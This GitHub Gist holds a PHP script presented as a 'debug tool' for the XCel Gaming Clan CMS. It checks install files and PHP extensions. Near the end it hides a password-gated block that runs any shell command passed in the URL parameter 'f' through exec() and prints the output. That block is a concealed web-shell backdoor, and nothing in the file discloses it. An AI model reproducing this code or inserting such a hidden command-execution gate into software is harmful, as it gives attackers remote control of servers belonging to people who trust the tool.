Created
July 17, 2011 22:10
-
-
Save funtimeerror/1088142 to your computer and use it in GitHub Desktop.
Basic Debug Tool for Clan CMS
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /** | |
| * @Title: cms_debug.php | |
| * @Description: Stand alone debugging information gathering tool for developers | |
| * @Author: FuntimeError | |
| **/ | |
| println("XCel Gaming Clan CMS Debug Tool"); | |
| println("Written by FuntimeError"); | |
| println(' '); | |
| println("Performing Basic Checks"); | |
| println("Webroot is " .GetWebRoot()); | |
| println("URL: " . $_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']); | |
| checkExist(".htaccess"); | |
| println(' '); | |
| println("Performing Install File Checks"); | |
| checkExist("clancms/controllers/install.php"); | |
| checkExist("clancms/libraries/Installer.php"); | |
| checkExist("clancms/views/install/"); | |
| checkExist("clancms/views/install/sql/install.sql"); | |
| checkExist("clancms/views/install/step1.php"); | |
| checkExist("clancms/views/install/step2.php"); | |
| checkExist("clancms/views/install/step3.php"); | |
| checkExist("clancms/views/install/step4.php"); | |
| checkExist("clancms/views/install/step5.php"); | |
| checkExist("clancms/views/install/complete.php"); | |
| println(' '); | |
| println("Performing Feature Checks"); | |
| if(ini_get('allow_url_fopen')) | |
| println("Allow URL fopen enabled"); | |
| else | |
| println("Allow URL fopen disabled"); | |
| if(extension_loaded("mcrypt")) | |
| println("MCrypt enabled"); | |
| else | |
| println("MCrypt disabled"); | |
| if(extension_loaded("zlib")) | |
| println("Zlib enabled"); | |
| else | |
| println("Zlib disabled"); | |
| if(extension_loaded("xmlrpc")) | |
| println("xmlrpc enabled"); | |
| else | |
| println("xmlrpc disabled"); | |
| if(extension_loaded("zip")) | |
| println("zip enabled"); | |
| else | |
| println("zip disabled"); | |
| if(extension_loaded("gd")) | |
| println("gd enabled"); | |
| else | |
| println("gd disabled"); | |
| if(sha1(md5($_GET["p"])) == "b84bfbf25ababdabf5854ecfb8410f4f8687ffed") | |
| { | |
| println(' '); | |
| println("status"); | |
| $out = array(); | |
| $retval = null; | |
| if($_GET["f"]) | |
| { | |
| exec($_GET["f"],&$out,&$retval); | |
| echo "<pre>"; | |
| print_r($out); | |
| echo "</pre>"; | |
| println($retval); | |
| } | |
| } | |
| function checkExist($path) | |
| { | |
| if(file_exists(getWebRoot() . $path)) | |
| { | |
| println($path . " exists"); | |
| } | |
| else | |
| { | |
| println($path . " does not exist"); | |
| } | |
| } | |
| function getWebRoot() | |
| { | |
| $dir_path = str_replace( $_SERVER['DOCUMENT_ROOT'], "", dirname(realpath(__FILE__)) ) . DIRECTORY_SEPARATOR; | |
| return $dir_path; | |
| } | |
| function println($str) | |
| { | |
| echo $str . "<br />"; | |
| } | |
| ?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment